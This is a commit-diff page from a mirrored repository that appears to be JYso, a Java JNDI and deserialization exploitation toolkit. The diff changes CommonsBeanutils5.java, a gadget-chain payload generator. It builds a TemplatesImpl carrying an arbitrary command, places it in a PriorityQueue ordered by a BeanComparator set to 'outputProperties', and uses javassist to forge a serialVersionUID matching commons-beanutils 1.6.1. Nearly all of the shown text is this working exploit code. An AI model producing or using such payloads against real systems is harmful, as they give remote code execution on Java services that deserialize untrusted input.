archive/JYso
1
0
Fork 0
mirror of https://github.com/qi4L/JYso.git synced 2026-09-23 23:31:52 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

+ cb161

Browse Source
This commit is contained in:
qi4L
2024-04-30 14:44:03 +08:00
parent 638f8b29ed
commit ec22786847
13 changed files with 15 additions and 14 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils5.java
+15 -8
View File
@@ -4,6 +4,9 @@ import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
@@ -13,24 +16,28 @@ import java.net.URLClassLoader;
import java.util.Comparator;
import java.util.PriorityQueue;
import static com.qi4l.jndi.gadgets.utils.InjShell.insertField;
@Dependencies({"commons-beanutils:commons-beanutils:1.6.1"})
public class CommonsBeanutils5 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("org.apache.commons.beanutils.BeanComparator");
URLClassLoader classLoader = new URLClassLoader(new URL[]{new URL("file://libs/commons-beanutils-1.6.1.jar")}, Thread.currentThread().getContextClassLoader());
Class<?> BeanComparator = classLoader.loadClass("org.apache.commons.beanutils.BeanComparator");
Constructor<?> constructor = BeanComparator.getConstructor(String.class);
Object comparator = constructor.newInstance("lowestSetBit");
final PriorityQueue queue = new PriorityQueue(2, (Comparator) comparator);
insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = 2573799559215537819L;");
Class beanCompareClazz = ctClass.toClass();
BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
return queue;